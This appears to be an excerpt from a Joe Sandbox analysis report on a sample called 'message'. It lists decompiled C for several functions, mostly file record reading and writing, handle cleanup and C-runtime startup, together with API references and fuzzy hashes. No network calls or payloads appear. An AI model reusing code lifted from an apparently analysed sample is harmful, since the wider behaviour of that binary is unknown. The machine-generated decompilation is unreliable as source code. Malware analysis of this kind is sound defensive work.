Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Info$ByteCharMultiWide_strlen
String ID: G@,
API String ID: 1335377746-3496681718
Opcode ID: 4e3de1aefe57413c2874f2fd8f5f666dd6a6cbd88137e42332d4becfb4d3da40
Instruction ID: 1cbf8f742c718ae3e0944b330c4ad140625f126a7c77b4e5641174acd2f5a51b
Opcode Fuzzy Hash: 4e3de1aefe57413c2874f2fd8f5f666dd6a6cbd88137e42332d4becfb4d3da40
Instruction Fuzzy Hash: 36517F70A01229ABCB20DF96ED85AAF7BB9EF44750FA4011BF415A2250D7354941CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0040B0F0, Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 169
fileCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040B0F0(intOrPtr __ecx) {
				struct _OVERLAPPED* _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void _v56;
				char _v60;
				long _v64;
				intOrPtr _v68;
				void* _v72;
				void _v76;
				void _v80;
				long _v84;
				char _v88;
				char _v116;
				intOrPtr _t59;
				CHAR* _t61;
				void* _t72;
				intOrPtr* _t76;
				void* _t88;
				intOrPtr _t120;
				void* _t121;
				char _t125;
				intOrPtr _t126;
				intOrPtr _t127;

				_push(0xffffffff);
				_push(E0042D338);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t126;
				_t127 = _t126 - 0x64;
				_t59 =  *0x4310d8; // 0x2c0d4047
				_v24 = _t59;
				_v20 = _t127;
				_v68 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x50)) < 0x10) {
					_t61 = __ecx + 0x3c;
				} else {
					_t61 =  *(__ecx + 0x3c);
				}
				_t88 = CreateFileA(_t61, 0x80000000, 0, 0, 3, 0, 0);
				_v72 = _t88;
				if(_t88 == 0xffffffff) {
					L24:
					 *[fs:0x0] = _v16;
					return E00424873(0, _v24);
				} else {
					_v76 = 0;
					while(1) {
						_v84 = SetFilePointer(_t88, 0, 0, 1);
						if(ReadFile(_t88,  &_v56, 0x20,  &_v64, 0) == 0 || _v64 != 0x20 || ReadFile(_t88,  &_v80, 4,  &_v64, 0) == 0 || _v64 != 4 || ReadFile(_t88,  &_v76, 4,  &_v64, 0) == 0 || _v64 != 4) {
							break;
						}
						_v8 = 0;
						_t72 = E004246FE(0x44);
						_t127 = _t127 + 4;
						if(_t72 == 0) {
							_t125 = 0;
							_v60 = 0;
						} else {
							_t125 = E004078F0(_t72);
							_v60 = _t125;
						}
						_v8 = 0xffffffff;
						if(_t125 != 0) {
							E00402A90( &_v116,  &_v56);
							_t120 = _v68;
							_t90 =  *(_t120 + 8);
							_t121 = _t120 + 4;
							_v8 = 2;
							_t76 = E00407C10( &_v88,  &_v116);
							_v8 = 0xffffffff;
							E004023D0( &_v116);
							if(( *(_t120 + 8) & 0xffffff00 |  *_t76 != _t90) == 0) {
								E00407D30( &_v56);
								 *(_t125 + 0x38) = _v80;
								 *((intOrPtr*)(_t125 + 0x3c)) = _v84;
								_push(_t125);
								 *((intOrPtr*)(_t125 + 0x40)) = _v76;
								 *((intOrPtr*)(E0040B030(_t121))) = _t125;
								if(( *(_t125 + 0x38) & 0x00000001) != 0) {
									E004085E0(_v68 + 0x10,  &_v60);
								}
								if(( *(_t125 + 0x38) & 0x00000004) != 0) {
									E004085E0(_v68 + 0x1c,  &_v60);
								}
								if(( *(_t125 + 0x38) & 0x00000008) != 0) {
									E004085E0(_v68 + 0x28,  &_v60);
								}
							}
							_t88 = _v72;
						}
					}
					CloseHandle(_t88);
					goto L24;
				}
			}

0x0040b0f3
0x0040b0f5
0x0040b100
0x0040b101
0x0040b108
0x0040b10b
0x0040b111
0x0040b11c
0x0040b11f
0x0040b122
0x0040b129
0x0040b124
0x0040b124
0x0040b124
0x0040b142
0x0040b147
0x0040b14a
0x0040b2e5
0x0040b2e8
0x0040b2ff
0x0040b150
0x0040b150
0x0040b160
0x0040b175
0x0040b187
0x00000000
0x00000000
0x0040b1dc
0x0040b1e3
0x0040b1e8
0x0040b1ed
0x0040b1ff
0x0040b201
0x0040b1ef
0x0040b1f6
0x0040b1f8
0x0040b1f8
0x0040b21b
0x0040b222
0x0040b22f
0x0040b234
0x0040b237
0x0040b241
0x0040b247
0x0040b24e
0x0040b25b
0x0040b262
0x0040b269
0x0040b275
0x0040b280
0x0040b283
0x0040b289
0x0040b28c
0x0040b294
0x0040b29a
0x0040b2a6
0x0040b2a6
0x0040b2af
0x0040b2bb
0x0040b2bb
0x0040b2c4
0x0040b2d4
0x0040b2d4
0x0040b2c4
0x0040b159
0x0040b159
0x0040b222
0x0040b2df
0x00000000
0x0040b2df

APIs

CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,00000000), ref: 0040B13C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 0040B167
ReadFile.KERNEL32(00000000,?,00000020,?,00000000), ref: 0040B183
ReadFile.KERNEL32(00000000,?,00000004,00000020,00000000), ref: 0040B1A8
ReadFile.KERNEL32(00000000,00000000,00000004,00000020,00000000), ref: 0040B1C7
CloseHandle.KERNEL32(00000000), ref: 0040B2DF

Strings

G@,, xrefs: 0040B10B
, xrefs: 0040B18D

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: File$Read$CloseCreateHandlePointer
String ID: $G@,
API String ID: 3856724686-1929433787
Opcode ID: 5bc78143f89a4dea2e96d905125e01f41ef2d97ae2f535c0578264ef0fb96339
Instruction ID: f9615a2b2c25ec5e1afef60f4e7c90419b410b37da83d95b541e47871ec683b4
Opcode Fuzzy Hash: 5bc78143f89a4dea2e96d905125e01f41ef2d97ae2f535c0578264ef0fb96339
Instruction Fuzzy Hash: 1651B271E00218EBDB24DBA5DD85BAEB7B8FF44710F10052EE502B72D1D778A941CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00407650, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00407650(void* __ebx, void* __edi, void* __esi, long _a4) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void _v36;
				intOrPtr _t28;
				CHAR* _t30;
				CHAR* _t34;
				void* _t53;
				long _t62;
				void* _t64;
				void* _t65;

				_t64 = __esi;
				_t28 =  *0x4310d8; // 0x2c0d4047
				_t62 = _a4;
				_v4 = _t28;
				if( *((intOrPtr*)(_t62 + 0x14)) <= 0x1f) {
					if( *((intOrPtr*)(_t53 + 0x50)) < 0x10) {
						_t30 = _t53 + 0x3c;
					} else {
						_t30 =  *(_t53 + 0x3c);
					}
					_push(_t64);
					_t65 = CreateFileA(_t30, 0x40000000, 0, 0, 4, 0, 0);
					if(_t65 != 0xffffffff) {
						 *((intOrPtr*)(_t62 + 0x3c)) = SetFilePointer(_t65, 0, 0, 2);
						_v36 = 0;
						_v32 = 0;
						_v28 = 0;
						_v24 = 0;
						_v20 = 0;
						_v16 = 0;
						_v12 = 0;
						_v8 = 0;
						if( *((intOrPtr*)(_t62 + 0x18)) < 0x10) {
							_t34 = _t62 + 4;
						} else {
							_t34 =  *(_t62 + 4);
						}
						lstrcpyA( &_v36, _t34);
						WriteFile(_t65,  &_v36, 0x20,  &_a4, 0);
						WriteFile(_t65, _t62 + 0x38, 4,  &_a4, 0);
						WriteFile(_t65, _t62 + 0x40, 4,  &_a4, 0);
						CloseHandle(_t65);
						return E00424873(1, _v4);
					} else {
						return E00424873(0, _v4);
					}
				} else {
					return E00424873(0, _v4);
				}
			}

0x00407650
0x00407653
0x00407659
0x0040765d
0x00407665
0x00407684
0x0040768b
0x00407686
0x00407686
0x00407686
0x0040768e
0x004076a5
0x004076aa
0x004076cd
0x004076d2
0x004076d6
0x004076da
0x004076de
0x004076e2
0x004076e6
0x004076ea
0x004076ee
0x004076f5
0x004076fc
0x004076f7
0x004076f7
0x004076f7
0x00407705
0x00407720
0x00407730
0x00407740
0x00407743
0x0040775d
0x004076ac
0x004076bd
0x004076bd
0x00407667
0x00407676
0x00407676

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000004,00000000,00000000,00000000,00000000,?,?,?,0040B501,00000000,00000000,00000000), ref: 0040769F

Strings

G@,, xrefs: 00407653

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CreateFile
String ID: G@,
API String ID: 823142352-3496681718
Opcode ID: c463d438678264e65f411a84fba0301f23ed1ad1e798f240ad9d3939515fa36f
Instruction ID: 9a062db39f6a5f139ad70d347d9c9746101c966207b1449d83cde9679a236ffa
Opcode Fuzzy Hash: c463d438678264e65f411a84fba0301f23ed1ad1e798f240ad9d3939515fa36f
Instruction Fuzzy Hash: 18315CB2608300AFD350DF29DC81F9AB7E8BB88714F50493AF245D6290D7B4E945CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00414F49, Relevance: 13.6, APIs: 9, Instructions: 73
memorysynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00414F49(signed int __esi, intOrPtr _a19, void* _a20, void* _a52, void* _a60, void* _a68, char _a100, char _a124, char _a448, intOrPtr _a932, intOrPtr _a936, long _a944, intOrPtr _a952) {
				void* _t35;
				char _t37;
				char _t55;
				signed int _t60;
				void* _t64;
				void* _t66;

				_t60 = __esi;
				do {
					CloseHandle( *(_t66 + 0xa4 + _t60 * 4));
					_t55 =  *0x431c90; // 0x0
					_t60 = _t60 + 1;
					 *0x431c90 = _t55 + _a19;
				} while (_t60 < 0xa);
				if(_a952 != 0) {
					_t37 =  *0x431c90; // 0x0
					 *0x431c90 = _t37 + 0x78;
					WaitForSingleObject(_a20, 0xffffffff);
					 *0x431c90 = 0x40;
					CloseHandle(_a20);
				}
				 *0x431c90 = 0xea;
				WaitForSingleObject(_t64, 0xffffffff);
				CloseHandle(_t64);
				E00416790( &_a100);
				HeapFree(GetProcessHeap(), 0, _a52);
				HeapFree(GetProcessHeap(), 0, _a60);
				_a944 = 2;
				E00408AD0( &_a448);
				_a944 = 1;
				E00404590();
				_a944 = 0;
				E00416690( &_a100);
				_a944 = 0xffffffff;
				_t35 = E0041A8F0( &_a124);
				 *[fs:0x0] = _a936;
				return E00424873(_t35, _a932);
			}

0x00414f49
0x00414f50
0x00414f58
0x00414f5a
0x00414f66
0x00414f6a
0x00414f6a
0x00414f81
0x00414f83
0x00414f91
0x00414f96
0x00414f9d
0x00414fa6
0x00414fa6
0x00414fb1
0x00414fb7
0x00414fba
0x00414fc0
0x00414fdb
0x00414fe7
0x00414ff0
0x00414ff8
0x00415001
0x00415009
0x00415012
0x0041501a
0x00415023
0x0041502e
0x0041503d
0x00415057

APIs

CloseHandle.KERNEL32(?,?,00000001), ref: 00414F58
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00414F96
CloseHandle.KERNEL32(?), ref: 00414FA6
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00414FB7
CloseHandle.KERNEL32(00000000), ref: 00414FBA
GetProcessHeap.KERNEL32(00000000,?), ref: 00414FD2
HeapFree.KERNEL32(00000000), ref: 00414FDB
GetProcessHeap.KERNEL32(00000000,?), ref: 00414FE4
HeapFree.KERNEL32(00000000), ref: 00414FE7

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Heap$CloseHandle$FreeObjectProcessSingleWait
String ID:
API String ID: 2579758194-0
Opcode ID: 5cb114ee75c73d9d28095b093425758b0f491e95b005c264dc94f0b4429a9c47
Instruction ID: 966a43781993c991ec9a06a83fdc448c25b6a2ab2b61fe85e3c188c58705bdba
Opcode Fuzzy Hash: 5cb114ee75c73d9d28095b093425758b0f491e95b005c264dc94f0b4429a9c47
Instruction Fuzzy Hash: EB21A2351083809BC225EB69DC41BABBBE8AFD9714F44161EE5A8433D1CB746805CB2B

Uniqueness

Uniqueness Score: -1.00%

Function 0042AA29, Relevance: 12.1, APIs: 8, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0042AA29() {
				int _v4;
				int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t7;
				CHAR* _t8;
				WCHAR* _t16;
				int _t19;
				char* _t23;
				int _t24;
				long _t28;
				int _t29;
				void* _t34;
				WCHAR* _t36;
				CHAR* _t37;
				intOrPtr _t38;
				int _t40;

				_t7 =  *0x432378; // 0x1
				_t29 = 0;
				_t36 = 0;
				_t38 = 2;
				if(_t7 != 0) {
					L6:
					__eflags = _t7 - 1;
					if(__eflags != 0) {
						__eflags = _t7 - _t38;
						if(_t7 == _t38) {
							L21:
							_t8 = GetEnvironmentStrings();
							_t37 = _t8;
							__eflags = _t37 - _t29;
							if(_t37 == _t29) {
								L20:
								return 0;
							}
							__eflags =  *_t37 - _t29;
							if( *_t37 == _t29) {
								L25:
								_t39 = _t8 - _t37 + 1;
								_t34 = E004263B4(_t8 - _t37 + 1);
								__eflags = _t34 - _t29;
								if(_t34 != _t29) {
									E00425FD0(_t34, _t37, _t39);
								} else {
									_t34 = 0;
								}
								FreeEnvironmentStringsA(_t37);
								return _t34;
							} else {
								goto L23;
							}
							do {
								do {
									L23:
									_t8 =  &(_t8[1]);
									__eflags =  *_t8 - _t29;
								} while ( *_t8 != _t29);
								_t8 =  &(_t8[1]);
								__eflags =  *_t8 - _t29;
							} while ( *_t8 != _t29);
							goto L25;
						}
						__eflags = _t7 - _t29;
						if(_t7 == _t29) {
							goto L21;
						}
						goto L20;
					}
					L7:
					if(_t36 != _t29) {
						L9:
						_t16 = _t36;
						if( *_t36 == _t29) {
							L12:
							_t19 = (_t16 - _t36 >> 1) + 1;
							_v4 = _t19;
							_t40 = WideCharToMultiByte(_t29, _t29, _t36, _t19, _t29, _t29, _t29, _t29);
							if(_t40 != _t29) {
								_t23 = E004263B4(_t40);
								_v8 = _t23;
								if(_t23 != _t29) {
									_t24 = WideCharToMultiByte(_t29, _t29, _t36, _v4, _t23, _t40, _t29, _t29);
									_t52 = _t24;
									if(_t24 == 0) {
										_push(_v8);
										E004255BE(_t29, WideCharToMultiByte, _t36, _t52);
										_v8 = _t29;
									}
									_t29 = _v8;
								}
							}
							FreeEnvironmentStringsW(_t36);
							return _t29;
						} else {
							goto L10;
						}
						do {
							do {
								L10:
								_t16 = _t16 + _t38;
							} while ( *_t16 != _t29);
							_t16 = _t16 + _t38;
						} while ( *_t16 != _t29);
						goto L12;
					}
					_t36 = GetEnvironmentStringsW();
					if(_t36 == _t29) {
						goto L20;
					}
					goto L9;
				}
				_t36 = GetEnvironmentStringsW();
				if(_t36 == 0) {
					_t28 = GetLastError();
					__eflags = _t28 - 0x78;
					if(_t28 != 0x78) {
						_t7 =  *0x432378; // 0x1
					} else {
						_t7 = _t38;
						 *0x432378 = _t7;
					}
					goto L6;
				} else {
					 *0x432378 = 1;
					goto L7;
				}
			}

0x0042aa2b
0x0042aa3a
0x0042aa3c
0x0042aa42
0x0042aa43
0x0042aa72
0x0042aa72
0x0042aa75
0x0042aaf4
0x0042aaf6
0x0042ab00
0x0042ab00
0x0042ab06
0x0042ab08
0x0042ab0a
0x0042aafc
0x00000000
0x0042aafc
0x0042ab0c
0x0042ab0e
0x0042ab1a
0x0042ab1d
0x0042ab25
0x0042ab27
0x0042ab2a
0x0042ab33
0x0042ab2c
0x0042ab2c
0x0042ab2c
0x0042ab3c
0x00000000
0x00000000
0x00000000
0x00000000
0x0042ab10
0x0042ab10
0x0042ab10
0x0042ab10
0x0042ab11
0x0042ab11
0x0042ab15
0x0042ab16
0x0042ab16
0x00000000
0x0042ab10
0x0042aaf8
0x0042aafa
0x00000000
0x00000000
0x00000000
0x0042aafa
0x0042aa77
0x0042aa79
0x0042aa83
0x0042aa86
0x0042aa88
0x0042aa98
0x0042aaa6
0x0042aaab
0x0042aab1
0x0042aab5
0x0042aab8
0x0042aac0
0x0042aac4
0x0042aad1
0x0042aad3
0x0042aad5
0x0042aad7
0x0042aadb
0x0042aae1
0x0042aae1
0x0042aae5
0x0042aae5
0x0042aac4
0x0042aaea
0x00000000
0x00000000
0x00000000
0x00000000
0x0042aa8a
0x0042aa8a
0x0042aa8a
0x0042aa8a
0x0042aa8c
0x0042aa91
0x0042aa93
0x00000000
0x0042aa8a
0x0042aa7d
0x0042aa81
0x00000000
0x00000000
0x00000000
0x0042aa81
0x0042aa47
0x0042aa4b
0x0042aa59
0x0042aa5f
0x0042aa62
0x0042aa6d
0x0042aa64
0x0042aa64
0x0042aa66
0x0042aa66
0x00000000
0x0042aa4d
0x0042aa4d
0x00000000
0x0042aa4d

APIs

GetEnvironmentStringsW.KERNEL32(74E04DE0,00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AA45
GetLastError.KERNEL32(?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AA59
GetEnvironmentStringsW.KERNEL32(74E04DE0,00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AA7B
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,74E04DE0,00000000,?,?,?,?,00425EA6), ref: 0042AAAF
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AAD1
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AAEA
GetEnvironmentStrings.KERNEL32(74E04DE0,00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AB00
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0042AB3C

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide$ErrorLast
String ID:
API String ID: 883850110-0
Opcode ID: 40f71a07fb731069f870aded68a57151302da6b8d9c26e8109ee9f5d2242545d
Instruction ID: 46c70b45b6b314e6cb2813fa54a0f67757c5fcac65bc45981b8617f7325219ec
Opcode Fuzzy Hash: 40f71a07fb731069f870aded68a57151302da6b8d9c26e8109ee9f5d2242545d
Instruction Fuzzy Hash: B231E6727042356FDB206F797E8483BBA9DEF55354795083BFE41C3200E5699CA1C2AB

Uniqueness

Uniqueness Score: -1.00%

Function 0042AB4B, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E0042AB4B() {
				void* __ebp;
				signed int _t51;
				signed int _t55;
				long _t59;
				signed int _t61;
				signed int _t62;
				signed int _t64;
				signed int _t65;
				void* _t69;
				signed int* _t78;
				signed int _t81;
				signed int _t82;
				signed int _t84;
				signed int _t85;
				signed int _t86;
				signed char _t89;
				signed int _t96;
				void* _t99;
				int _t101;
				void** _t103;
				void** _t105;
				signed int** _t106;
				intOrPtr* _t109;
				void* _t110;

				_t51 = E004263B4(0x480);
				if(_t51 != 0) {
					 *0x432760 = _t51;
					 *0x432740 = 0x20;
					_t1 = _t51 + 0x480; // 0x480
					_t84 = _t1;
					while(1) {
						__eflags = _t51 - _t84;
						if(_t51 >= _t84) {
							break;
						}
						 *_t51 =  *_t51 | 0xffffffff;
						 *(_t51 + 8) =  *(_t51 + 8) & 0x00000000;
						 *((char*)(_t51 + 4)) = 0;
						 *((char*)(_t51 + 5)) = 0xa;
						_t85 =  *0x432760; // 0x22b0640
						_t51 = _t51 + 0x24;
						_t84 = _t85 + 0x480;
						__eflags = _t84;
					}
					GetStartupInfoA(_t110 + 0x14);
					__eflags =  *((short*)(_t110 + 0x46));
					if( *((short*)(_t110 + 0x46)) == 0) {
						L26:
						_t81 = 0;
						__eflags = 0;
						do {
							_t86 =  *0x432760; // 0x22b0640
							_t103 = _t86 + (_t81 + _t81 * 8) * 4;
							__eflags =  *_t103 - 0xffffffff;
							if( *_t103 != 0xffffffff) {
								_t49 =  &(_t103[1]);
								 *_t49 = _t103[1] | 0x00000080;
								__eflags =  *_t49;
								goto L42;
							}
							__eflags = _t81;
							_t103[1] = 0x81;
							if(_t81 != 0) {
								asm("sbb eax, eax");
								_t59 =  ~(_t81 - 1) + 0xfffffff5;
								__eflags = _t59;
							} else {
								_t59 = 0xfffffff6;
							}
							_t99 = GetStdHandle(_t59);
							__eflags = _t99 - 0xffffffff;
							if(_t99 == 0xffffffff) {
								L40:
								_t103[1] = _t103[1] | 0x00000040;
							} else {
								_t61 = GetFileType(_t99);
								__eflags = _t61;
								if(_t61 == 0) {
									goto L40;
								}
								_t62 = _t61 & 0x000000ff;
								__eflags = _t62 - 2;
								 *_t103 = _t99;
								if(__eflags != 0) {
									__eflags = _t62 - 3;
									if(__eflags == 0) {
										_t42 =  &(_t103[1]);
										 *_t42 = _t103[1] | 0x00000008;
										__eflags =  *_t42;
									}
								} else {
									_t103[1] = _t103[1] | 0x00000040;
								}
								_t44 =  &(_t103[3]); // 0xc
								_push(0xfa0);
								_t64 = E0042B4DF(__eflags);
								__eflags = _t64;
								if(_t64 == 0) {
									L30:
									_t55 = _t64 | 0xffffffff;
									L44:
									return _t55;
								} else {
									_t103[2] = _t103[2] + 1;
									goto L42;
								}
							}
							L42:
							_t81 = _t81 + 1;
							__eflags = _t81 - 3;
						} while (_t81 < 3);
						SetHandleCount( *0x432740);
						_t55 = 0;
						__eflags = 0;
						goto L44;
					}
					_t65 =  *(_t110 + 0x48);
					__eflags = _t65;
					if(_t65 == 0) {
						goto L26;
					}
					_t101 =  *_t65;
					_t109 = _t65 + 4;
					 *(_t110 + 0x10) = _t101 + _t109;
					__eflags = _t101 - 0x800;
					if(_t101 >= 0x800) {
						_t101 = 0x800;
					}
					__eflags =  *0x432740 - _t101; // 0x20
					if(__eflags >= 0) {
						L18:
						_t82 = 0;
						__eflags = _t101;
						if(_t101 <= 0) {
							goto L26;
						} else {
							goto L19;
						}
						do {
							L19:
							_t69 =  *( *(_t110 + 0x10));
							__eflags = _t69 - 0xffffffff;
							if(_t69 == 0xffffffff) {
								goto L25;
							}
							_t89 =  *_t109;
							__eflags = _t89 & 0x00000001;
							if((_t89 & 0x00000001) == 0) {
								goto L25;
							}
							__eflags = _t89 & 0x00000008;
							if(__eflags != 0) {
								L23:
								_t105 = 0x432760[_t82 >> 5] + ((_t82 & 0x0000001f) + (_t82 & 0x0000001f) * 8) * 4;
								 *_t105 =  *( *(_t110 + 0x10));
								_t105[1] =  *_t109;
								_t30 =  &(_t105[3]); // 0xc
								_push(0xfa0);
								_t64 = E0042B4DF(__eflags);
								__eflags = _t64;
								if(_t64 == 0) {
									goto L30;
								}
								_t31 =  &(_t105[2]);
								 *_t31 = _t105[2] + 1;
								__eflags =  *_t31;
								goto L25;
							}
							__eflags = GetFileType(_t69);
							if(__eflags == 0) {
								goto L25;
							}
							goto L23;
							L25:
							 *(_t110 + 0x10) =  &(( *(_t110 + 0x10))[1]);
							_t82 = _t82 + 1;
							_t109 = _t109 + 1;
							__eflags = _t82 - _t101;
						} while (_t82 < _t101);
						goto L26;
					} else {
						_t106 = 0x432764;
						while(1) {
							_t78 = E004263B4(0x480);
							__eflags = _t78;
							if(_t78 == 0) {
								break;
							}
							 *0x432740 =  *0x432740 + 0x20;
							 *_t106 = _t78;
							_t12 =  &(_t78[0x120]); // 0x480
							_t96 = _t12;
							while(1) {
								__eflags = _t78 - _t96;
								if(_t78 >= _t96) {
									break;
								}
								 *_t78 =  *_t78 | 0xffffffff;
								_t78[2] = _t78[2] & 0x00000000;
								_t78[1] = 0;
								_t78[1] = 0xa;
								_t78 =  &(_t78[9]);
								_t96 =  &(( *_t106)[0x120]);
								__eflags = _t96;
							}
							_t106 =  &(_t106[1]);
							__eflags =  *0x432740 - _t101; // 0x20
							if(__eflags < 0) {
								continue;
							}
							goto L18;
						}
						_t101 =  *0x432740; // 0x20
						goto L18;
					}
				}
				return _t51 | 0xffffffff;
			}

0x0042ab55
0x0042ab5d
0x0042ab67
0x0042ab6c
0x0042ab76
0x0042ab76
0x0042ab9c
0x0042ab9c
0x0042ab9e
0x00000000
0x00000000
0x0042ab7e
0x0042ab81
0x0042ab85
0x0042ab89
0x0042ab8d
0x0042ab93
0x0042ab96
0x0042ab96
0x0042ab96
0x0042aba8
0x0042abae
0x0042abb4
0x0042aca3
0x0042aca3
0x0042aca3
0x0042aca5
0x0042aca5
0x0042acae
0x0042acb1
0x0042acb4
0x0042ad25
0x0042ad25
0x0042ad25
0x00000000
0x0042ad25
0x0042acb6
0x0042acb8
0x0042acbc
0x0042accd
0x0042accf
0x0042accf
0x0042acbe
0x0042acc0
0x0042acc0
0x0042acd9
0x0042acdb
0x0042acde
0x0042ad1f
0x0042ad1f
0x0042ace0
0x0042ace1
0x0042ace7
0x0042ace9
0x00000000
0x00000000
0x0042aceb
0x0042acf0
0x0042acf3
0x0042acf5
0x0042acfd
0x0042ad00
0x0042ad02
0x0042ad02
0x0042ad02
0x0042ad02
0x0042acf7
0x0042acf7
0x0042acf7
0x0042ad06
0x0042ad09
0x0042ad0f
0x0042ad14
0x0042ad18
0x0042acc3
0x0042acc3
0x0042ad41
0x00000000
0x0042ad1a
0x0042ad1a
0x00000000
0x0042ad1a
0x0042ad18
0x0042ad29
0x0042ad29
0x0042ad2a
0x0042ad2a
0x0042ad39
0x0042ad3f
0x0042ad3f
0x00000000
0x0042ad3f
0x0042abba
0x0042abbe
0x0042abc0
0x00000000
0x00000000
0x0042abc6
0x0042abc8
0x0042abce
0x0042abd7
0x0042abd9
0x0042abdb
0x0042abdb
0x0042abdd
0x0042abe3
0x0042ac33
0x0042ac33
0x0042ac35
0x0042ac37
0x00000000
0x00000000
0x00000000
0x00000000
0x0042ac39
0x0042ac39
0x0042ac3d
0x0042ac3f
0x0042ac42
0x00000000
0x00000000
0x0042ac44
0x0042ac47
0x0042ac4a
0x00000000
0x00000000
0x0042ac4c
0x0042ac4f
0x0042ac5c
0x0042ac70
0x0042ac79
0x0042ac7e
0x0042ac81
0x0042ac84
0x0042ac8a
0x0042ac8f
0x0042ac93
0x00000000
0x00000000
0x0042ac95
0x0042ac95
0x0042ac95
0x00000000
0x0042ac95
0x0042ac58
0x0042ac5a
0x00000000
0x00000000
0x00000000
0x0042ac98
0x0042ac98
0x0042ac9d
0x0042ac9e
0x0042ac9f
0x0042ac9f
0x00000000
0x0042abe5
0x0042abe5
0x0042abea
0x0042abeb
0x0042abf0
0x0042abf3
0x00000000
0x00000000
0x0042abf5
0x0042abfc
0x0042abfe
0x0042abfe
0x0042ac1c
0x0042ac1c
0x0042ac1e
0x00000000
0x00000000
0x0042ac06
0x0042ac09
0x0042ac0d
0x0042ac11
0x0042ac17
0x0042ac1a
0x0042ac1a
0x0042ac1a
0x0042ac20
0x0042ac23
0x0042ac29
0x00000000
0x00000000
0x00000000
0x0042ac2b
0x0042ac2d
0x00000000
0x0042ac2d
0x0042abe3
0x00000000

APIs

GetStartupInfoA.KERNEL32(?), ref: 0042ABA8
GetFileType.KERNEL32(?), ref: 0042AC52
GetStdHandle.KERNEL32(-000000F6), ref: 0042ACD3

Strings

d'C, xrefs: 0042ABE5

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity
